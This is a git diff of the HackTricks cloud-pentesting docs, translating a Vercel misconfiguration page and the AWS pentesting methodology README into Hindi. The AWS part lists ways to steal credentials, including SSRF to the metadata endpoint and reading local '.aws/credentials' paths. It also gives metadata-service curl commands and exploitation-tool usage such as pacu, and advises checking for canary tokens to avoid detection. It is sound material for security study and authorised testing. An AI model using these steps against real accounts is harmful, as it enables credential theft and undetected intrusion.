**Misconfiguration:** सुरक्षित सूची में महत्वपूर्ण Git स्कोप जोड़ने में विफलता। +- **Risks:** +- **Unauthorized Deployments:** अन्य टीमें आपकी संगठन की Git स्कोप से बिना अनुमति के रिपॉजिटरी को डिप्लॉय कर सकती हैं। +- **Intellectual Property Exposure:** स्वामित्व कोड को आपकी टीम के बाहर डिप्लॉय और एक्सेस किया जा सकता है। +- **Environment Variable Policies:** टीम के वातावरण वेरिएबल्स के निर्माण और संपादन के लिए नीतियों को लागू करता है। विशेष रूप से, आप यह लागू कर सकते हैं कि सभी वातावरण वेरिएबल्स को **Sensitive Environment Variables** के रूप में बनाया जाए, जिन्हें केवल Vercel के डिप्लॉयमेंट सिस्टम द्वारा डिक्रिप्ट किया जा सकता है। +- **Misconfiguration:** संवेदनशील वातावरण वेरिएबल्स के प्रवर्तन को अक्षम रखना। +- **Risks:** +- **Exposure of Secrets:** वातावरण वेरिएबल्स को अनधिकृत टीम के सदस्यों द्वारा देखा या संपादित किया जा सकता है। +- **Data Breach:** संवेदनशील जानकारी जैसे API कुंजी और क्रेडेंशियल्स लीक हो सकते हैं। +- **Audit Log:** टीम की गतिविधियों का निर्यात प्रदान करता है जो पिछले 90 दिनों तक होता है। ऑडिट लॉग टीम के सदस्यों द्वारा किए गए कार्यों की निगरानी और ट्रैकिंग में मदद करते हैं। +- **Misconfiguration:**\ +अनधिकृत टीम के सदस्यों को ऑडिट लॉग्स तक पहुंच देना। +- **Risks:** +- **Privacy Violations:** संवेदनशील उपयोगकर्ता गतिविधियों और डेटा का उजागर होना। +- **Tampering with Logs:** दुर्भावनापूर्ण अभिनेता लॉग को बदल या हटा सकते हैं ताकि वे अपने निशान छिपा सकें। +- **SAML Single Sign-On:** आपकी टीम के लिए SAML प्रमाणीकरण और निर्देशिका समन्वय को अनुकूलित करने की अनुमति देता है, केंद्रीकृत प्रमाणीकरण और उपयोगकर्ता प्रबंधन के लिए एक पहचान प्रदाता (IdP) के साथ एकीकरण सक्षम करता है। +- **Misconfiguration:** एक हमलावर SAML पैरामीटर जैसे Entity ID, SSO URL, या प्रमाणपत्र फिंगरप्रिंट्स को बैकडोर कर सकता है। +- **Risk:** स्थिरता बनाए रखना +- **IP Address Visibility:** नियंत्रित करता है कि क्या IP पते, जिन्हें कुछ डेटा सुरक्षा कानूनों के तहत व्यक्तिगत जानकारी माना जा सकता है, निगरानी क्वेरी और लॉग ड्रेनों में प्रदर्शित होते हैं। +- **Misconfiguration:** आवश्यकता के बिना IP पते की दृश्यता को सक्षम छोड़ना। +- **Risks:** +- **Privacy Violations:** डेटा सुरक्षा नियमों जैसे GDPR का अनुपालन न करना। +- **Legal Repercussions:** व्यक्तिगत डेटा के गलत प्रबंधन के लिए संभावित जुर्माना और दंड। +- **IP Blocking:** IP पते और CIDR रेंजों को कॉन्फ़िगर करने की अनुमति देता है जिनसे Vercel को अनुरोधों को ब्लॉक करना चाहिए। ब्लॉक किए गए अनुरोध आपके बिलिंग में योगदान नहीं करते हैं। +- **Misconfiguration:** एक हमलावर द्वारा दुर्भावनापूर्ण ट्रैफ़िक की अनुमति देने या वैध ट्रैफ़िक को ब्लॉक करने के लिए दुरुपयोग किया जा सकता है। +- **Risks:** +- **Service Denial to Legitimate Users:** वैध उपयोगकर्ताओं या भागीदारों के लिए पहुंच को अवरुद्ध करना। +- **Operational Disruptions:** कुछ क्षेत्रों या ग्राहकों के लिए सेवा उपलब्धता का नुकसान। --- ### Secure Compute -**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. +**Vercel Secure Compute** Vercel Functions और बैकएंड वातावरण (जैसे, डेटाबेस) के बीच सुरक्षित, निजी कनेक्शन को सक्षम करता है, समर्पित IP पते के साथ अलग नेटवर्क स्थापित करके। यह बैकएंड सेवाओं को सार्वजनिक रूप से उजागर करने की आवश्यकता को समाप्त करता है, सुरक्षा, अनुपालन, और गोपनीयता को बढ़ाता है। #### **Potential Misconfigurations and Risks** 1. **Incorrect AWS Region Selection** - - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. - - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. +- **Misconfiguration:** Secure Compute नेटवर्क के लिए एक AWS क्षेत्र का चयन करना जो बैकएंड सेवाओं के क्षेत्र से मेल नहीं खाता। +- **Risk:** बढ़ी हुई लेटेंसी, संभावित डेटा निवास अनुपालन मुद्दे, और प्रदर्शन में कमी। 2. **Overlapping CIDR Blocks** - - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. - - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. +- **Misconfiguration:** CIDR ब्लॉक्स का चयन करना जो मौजूदा VPCs या अन्य नेटवर्क के साथ ओवरलैप करते हैं। +- **Risk:** नेटवर्क संघर्ष जो विफल कनेक्शन, अनधिकृत पहुंच, या नेटवर्क के बीच डेटा लीक का कारण बनता है। 3. **Improper VPC Peering Configuration** - - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). - - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. +- **Misconfiguration:** VPC पीयरिंग को गलत तरीके से सेट करना (जैसे, गलत VPC IDs, अधूरी रूट टेबल अपडेट)। +- **Risk:** बैकएंड अवसंरचना तक अनधिकृत पहुंच, सुरक्षित कनेक्शनों में विफलता, और संभावित डेटा उल्लंघन। 4. **Excessive Project Assignments** - - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. - - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. +- **Misconfiguration:** उचित अलगाव के बिना एकल Secure Compute नेटवर्क में कई प्रोजेक्ट्स को असाइन करना। +- **Risk:** साझा IP एक्सपोजर हमले की सतह को बढ़ाता है, संभावित रूप से समझौता किए गए प्रोजेक्ट्स को दूसरों को प्रभावित करने की अनुमति देता है। 5. **Inadequate IP Address Management** - - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. - - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. +- **Misconfiguration:** समर्पित IP पते का उचित प्रबंधन या रोटेट करने में विफलता। +- **Risk:** IP स्पूफिंग, ट्रैकिंग कमजोरियाँ, और यदि IPs दुर्भावनापूर्ण गतिविधियों से जुड़े हैं तो संभावित ब्लैकलिस्टिंग। 6. **Including Build Containers Unnecessarily** - - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. - - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. +- **Misconfiguration:** जब बैकएंड एक्सेस की आवश्यकता नहीं होती है, तो Secure Compute नेटवर्क में बिल्ड कंटेनरों को जोड़ना। +- **Risk:** विस्तारित हमले की सतह, बढ़ी हुई प्रावधान में देरी, और नेटवर्क संसाधनों की अनावश्यक खपत। 7. **Failure to Securely Handle Bypass Secrets** - - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. - - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. +- **Misconfiguration:** डिप्लॉयमेंट सुरक्षा को बायपास करने के लिए उपयोग किए जाने वाले रहस्यों को उजागर करना या गलत तरीके से संभालना। +- **Risk:** सुरक्षित डिप्लॉयमेंट्स तक अनधिकृत पहुंच, हमलावरों को दुर्भावनापूर्ण कोड को हेरफेर या डिप्लॉय करने की अनुमति देना। 8. **Ignoring Region Failover Configurations** - - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. - - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. +- **Misconfiguration:** निष्क्रिय फेलओवर क्षेत्रों को सेट करने में विफलता या फेलओवर सेटिंग्स को गलत तरीके से कॉन्फ़िगर करना। +- **Risk:** प्राथमिक क्षेत्र की आउटेज के दौरान सेवा डाउनटाइम, उपलब्धता में कमी और संभावित डेटा असंगति। 9. **Exceeding VPC Peering Connection Limits** - - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). - - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. +- **Misconfiguration:** अनुमत सीमा से अधिक VPC पीयरिंग कनेक्शन स्थापित करने का प्रयास करना (जैसे, 50 कनेक्शनों से अधिक)। +- **Risk:** आवश्यक बैकएंड सेवाओं को सुरक्षित रूप से कनेक्ट करने में असमर्थता, डिप्लॉयमेंट विफलताओं और परिचालन व्यवधानों का कारण बनता है। 10. **Insecure Network Settings** - - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. - - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. +- **Misconfiguration:** कमजोर फ़ायरवॉल नियम, एन्क्रिप्शन की कमी, या Secure Compute नेटवर्क के भीतर गलत नेटवर्क विभाजन। +- **Risk:** डेटा इंटरसेप्शन, बैकएंड सेवाओं तक अनधिकृत पहुंच, और हमलों के प्रति बढ़ी हुई संवेदनशीलता। --- ### Environment Variables -**Purpose:** Manage environment-specific variables and secrets used by all the projects. +**Purpose:** सभी प्रोजेक्ट्स द्वारा उपयोग किए जाने वाले वातावरण-विशिष्ट वेरिएबल्स और रहस्यों का प्रबंधन करें। #### Security Configurations: - **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. +- **Misconfiguration:** संवेदनशील वेरिएबल्स को `NEXT_PUBLIC_` के साथ प्रीफिक्स करना, जिससे वे क्लाइंट साइड पर उपलब्ध हो जाते हैं। +- **Risk:** API कुंजी, डेटाबेस क्रेडेंशियल्स, या अन्य संवेदनशील डेटा का सार्वजनिक रूप से उजागर होना, जिससे डेटा उल्लंघन हो सकता है। - **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Misconfiguration:** यदि अक्षम (डिफ़ॉल्ट) है तो उत्पन्न रहस्यों के मानों को पढ़ना संभव है। +- **Risk:** संवेदनशील जानकारी के अनधिकृत पहुंच या आकस्मिक उजागर होने की संभावना बढ़ जाती है। {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index ad71de826..a7b580696 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,9 +4,9 @@ ## Basic Information -**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. +**AWS** वातावरण में **pentesting** शुरू करने से पहले, कुछ **बुनियादी बातें हैं जो आपको जाननी चाहिए** कि AWS कैसे काम करता है, ताकि आप समझ सकें कि आपको क्या करना है, कैसे गलत कॉन्फ़िगरेशन खोजने हैं और उन्हें कैसे भुनाना है। -Concepts such as organization hierarchy, IAM and other basic concepts are explained in: +संगठन की पदानुक्रम, IAM और अन्य बुनियादी अवधारणाओं जैसे सिद्धांतों को समझाया गया है: {{#ref}} aws-basic-information/ @@ -29,42 +29,42 @@ Tools to simulate attacks: ## AWS Pentester/Red Team Methodology -In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. +AWS वातावरण का ऑडिट करने के लिए यह जानना बहुत महत्वपूर्ण है: कौन सी **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रदर्शित किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक AWS सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं। -From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: +Red Team के दृष्टिकोण से, **AWS वातावरण को समझौता करने का पहला कदम** कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in AWS-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.aws/credentials` - - `C:\Users\USERNAME\.aws\credentials` -- 3rd parties **breached** -- **Internal** Employee -- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials +- github (या समान) में **लीक** - OSINT +- **सामाजिक** इंजीनियरिंग +- **पासवर्ड** पुन: उपयोग (पासवर्ड लीक) +- AWS-होस्टेड अनुप्रयोगों में कमजोरियाँ +- [**सर्वर साइड अनुरोध धोखाधड़ी**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जो मेटाडेटा एंडपॉइंट तक पहुँच प्रदान करती है +- **स्थानीय फ़ाइल पढ़ें** +- `/home/USERNAME/.aws/credentials` +- `C:\Users\USERNAME\.aws\credentials` +- 3rd पार्टियों के **भंग** +- **आंतरिक** कर्मचारी +- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)क्रेडेंशियल्स -Or by **compromising an unauthenticated service** exposed: +या **अप्रमाणित सेवा** को समझौता करके जो प्रदर्शित है: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -Or if you are doing a **review** you could just **ask for credentials** with these roles: +या यदि आप एक **समीक्षा** कर रहे हैं तो आप बस इन भूमिकाओं के साथ **क्रेडेंशियल्स** मांग सकते हैं: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानना होगा कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी गणना करनी होगी: ## Basic Enumeration ### SSRF -If you found a SSRF in a machine inside AWS check this page for tricks: +यदि आपने AWS के अंदर एक मशीन में SSRF पाया है, तो इस पृष्ठ पर ट्रिक्स के लिए देखें: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -One of the first things you need to know is who you are (in where account you are in other info about the AWS env): - +आपको जानने की पहली चीजों में से एक यह है कि आप कौन हैं (आप किस खाते में हैं और AWS वातावरण के बारे में अन्य जानकारी): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` - > [!CAUTION] -> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\ -> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> ध्यान दें कि कंपनियां **canary tokens** का उपयोग कर सकती हैं यह पहचानने के लिए कि **tokens चुराए जा रहे हैं और उपयोग किए जा रहे हैं**। इसका सुझाव दिया जाता है कि उपयोग करने से पहले यह जांचें कि क्या एक token canary token है या नहीं।\ +> अधिक जानकारी के लिए [**इस पृष्ठ की जांच करें**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. +यदि आपके पास पर्याप्त अनुमतियाँ हैं तो **AWS खाते के अंदर प्रत्येक इकाई के विशेषाधिकारों की जांच करना** आपको यह समझने में मदद करेगा कि आप और अन्य पहचान क्या कर सकते हैं और कैसे **विशेषाधिकार बढ़ा सकते हैं**। -If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\ -Check **how to do the numeration and brute-forcing** in: +यदि आपके पास IAM को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो आप **उन्हें चुराने के लिए ब्रूटफोर्स कर सकते हैं**।\ +**सूचीकरण और ब्रूट-फोर्सिंग कैसे करें** की जांच करें: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं तो उम्मीद है कि आप **पता नहीं चले हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\ +> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं। ## Services Enumeration, Post-Exploitation & Persistence -AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: +AWS में सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आप **बुनियादी जानकारी, सूचीकरण** cheatsheets\*\*,\*\* **पता लगाने से बचने** के तरीके, **स्थायीता** प्राप्त करने और उनमें से कुछ के बारे में अन्य **पोस्ट-एक्सप्लॉइटेशन** तरकीबें पाएंगे: {{#ref}} aws-services/ {{#endref}} -Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools). +ध्यान दें कि आपको सभी कार्य **हाथ से** करने की आवश्यकता नहीं है, इस पोस्ट के नीचे आप [**स्वचालित उपकरणों**](./#automated-tools) के बारे में एक **अनुभाग** पा सकते हैं। -Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: +इसके अलावा, इस चरण में आप **असत्यापित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं: {{#ref}} aws-unauthenticated-enum-access/ @@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/ ## Privilege Escalation -If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: +यदि आप विभिन्न संसाधनों पर **कम से कम अपनी अनुमतियों की जांच कर सकते हैं** तो आप **जांच सकते हैं कि क्या आप आगे की अनुमतियाँ प्राप्त कर सकते हैं**। आपको कम से कम उन अनुमतियों पर ध्यान केंद्रित करना चाहिए जो: {{#ref}} aws-privilege-escalation/ @@ -141,10 +139,10 @@ aws-privilege-escalation/ ## Publicly Exposed Services -While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\ -As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. +जब आप AWS सेवाओं को सूचीबद्ध कर रहे थे, तो आप उनमें से कुछ को **इंटरनेट पर तत्व उजागर करते हुए** पा सकते हैं (VM/Containers ports, databases या queue services, snapshots या buckets...)।\ +एक pentester/red teamer के रूप में आपको हमेशा यह जांचना चाहिए कि क्या आप उन पर **संवेदनशील जानकारी / कमजोरियों** को खोज सकते हैं क्योंकि वे आपको **AWS खाते में आगे की पहुँच** प्रदान कर सकते हैं। -In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: +इस पुस्तक में आपको **जानकारी** मिलेगी कि **कैसे उजागर AWS सेवाओं को खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा: {{#ref}} https://book.hacktricks.xyz/ @@ -154,52 +152,49 @@ https://book.hacktricks.xyz/ ### From the root/management account -When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. +जब प्रबंधन खाता संगठन में नए खातों का निर्माण करता है, तो एक **नया भूमिका** नए खाते में बनाया जाता है, जिसे डिफ़ॉल्ट रूप से **`OrganizationAccountAccessRole`** कहा जाता है और **प्रबंधन खाते** को नए खाते तक पहुँचने के लिए **AdministratorAccess** नीति दी जाती है।
-So, in order to access as administrator a child account you need: +तो, एक बच्चे के खाते के रूप में व्यवस्थापक के रूप में पहुँचने के लिए आपको आवश्यकता है: -- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. - - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` - - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. -- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). +- **प्रबंधन** खाते को **समझौता** करें और **बच्चे के खातों** के **ID** और **भूमिकाओं** के **नाम** (डिफ़ॉल्ट रूप से OrganizationAccountAccessRole) को खोजें जो प्रबंधन खाते को व्यवस्थापक के रूप में पहुँचने की अनुमति देते हैं। +- बच्चों के खातों को खोजने के लिए AWS कंसोल में संगठनों के अनुभाग पर जाएँ या `aws organizations list-accounts` चलाएँ। +- आप भूमिकाओं के नाम सीधे नहीं खोज सकते, इसलिए सभी कस्टम IAM नीतियों की जांच करें और किसी भी नीति को खोजें जो **`sts:AssumeRole` को पहले से खोजे गए बच्चों के खातों पर अनुमति देती है**। +- **प्रबंधन खाते में एक** **principal** को **`sts:AssumeRole` अनुमति के साथ समझौता करें जो बच्चों के खातों में भूमिका पर है** (भले ही खाता प्रबंधन खाते से किसी को भी अनुकरण करने की अनुमति दे रहा हो, क्योंकि यह एक बाहरी खाता है, विशिष्ट `sts:AssumeRole` अनुमतियाँ आवश्यक हैं)। ## Automated Tools ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. - +- [**aws-recon**](https://github.com/darkbitio/aws-recon): एक मल्टी-थ्रेडेड AWS सुरक्षा-केंद्रित **इन्वेंटरी संग्रह उपकरण** जो Ruby में लिखा गया है। ```bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ - --services S3,EC2 \ - --regions global,us-east-1,us-east-2 \ - --verbose +--services S3,EC2 \ +--regions global,us-east-1,us-east-2 \ +--verbose ``` - -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. - +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist एक **मल्टी-क्लाउड टूल है जो क्लाउड प्रदाताओं से एसेट्स (होस्टनेम, आईपी पते) प्राप्त करने के लिए है**। +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper आपको आपके Amazon Web Services (AWS) वातावरण का विश्लेषण करने में मदद करता है। इसमें अब बहुत अधिक कार्यक्षमता है, जिसमें सुरक्षा मुद्दों के लिए ऑडिटिंग शामिल है। ```bash # Installation steps in github # Create a config.json file with the aws info, like: { - "accounts": [ - { - "default": true, - "id": "", - "name": "dev" - } - ], - "cidrs": - { - "2.2.2.2/28": {"name": "NY Office"} - } +"accounts": [ +{ +"default": true, +"id": "", +"name": "dev" +} +], +"cidrs": +{ +"2.2.2.2/28": {"name": "NY Office"} +} } # Enumerate @@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` - -- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. - +- [**cartography**](https://github.com/lyft/cartography): कार्टोग्राफी एक पायथन उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो एक Neo4j डेटाबेस द्वारा संचालित होता है। ```bash # Install pip install cartography @@ -240,17 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड बुनियादी ढांचा, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में है। +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 का उपयोग करता है) यह एक उपकरण है जो एक खाते में बनाए गए सभी [**AWS संसाधनों**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) को **खोजने** की कोशिश करता है। +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): यह एक उपकरण है जो एक AWS खाते से जुड़े सभी सार्वजनिक IP पते (IPv4/IPv6 दोनों) को **प्राप्त** करता है। ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. - - Note that pacu **only checks your own privescs paths** (not account wide). - +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** स्कैन किए गए AWS वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है। आप [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) में **`Check-PrivilegedPolicy`** फ़ंक्शन में **विशेषाधिकार प्राप्त नीतियों** की परिभाषा पा सकते हैं। +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu एक ओपन-सोर्स **AWS शोषण ढांचा** है, जिसे क्लाउड वातावरण के खिलाफ आक्रामक सुरक्षा परीक्षण के लिए डिज़ाइन किया गया है। यह **enumerate** कर सकता है, **miss-configurations** खोज सकता है और उन्हें **exploit** कर सकता है। आप [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) में **`user_escalation_methods`** dict के अंदर **विशेषाधिकार प्राप्त अनुमतियों** की परिभाषा पा सकते हैं। +- ध्यान दें कि pacu **केवल आपके अपने privescs पथों** की जांच करता है (खाते के स्तर पर नहीं)। ```bash # Install ## Feel free to use venvs @@ -264,9 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` - -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) - +- [**PMapper**](https://github.com/nccgroup/PMapper): प्रिंसिपल मैपर (PMapper) एक स्क्रिप्ट और पुस्तकालय है जो AWS खाते या AWS संगठन के लिए AWS पहचान और पहुंच प्रबंधन (IAM) की कॉन्फ़िगरेशन में जोखिमों की पहचान करने के लिए है। यह एक खाते में विभिन्न IAM उपयोगकर्ताओं और भूमिकाओं को एक निर्देशित ग्राफ के रूप में मॉडल करता है, जो **privilege escalation** के लिए 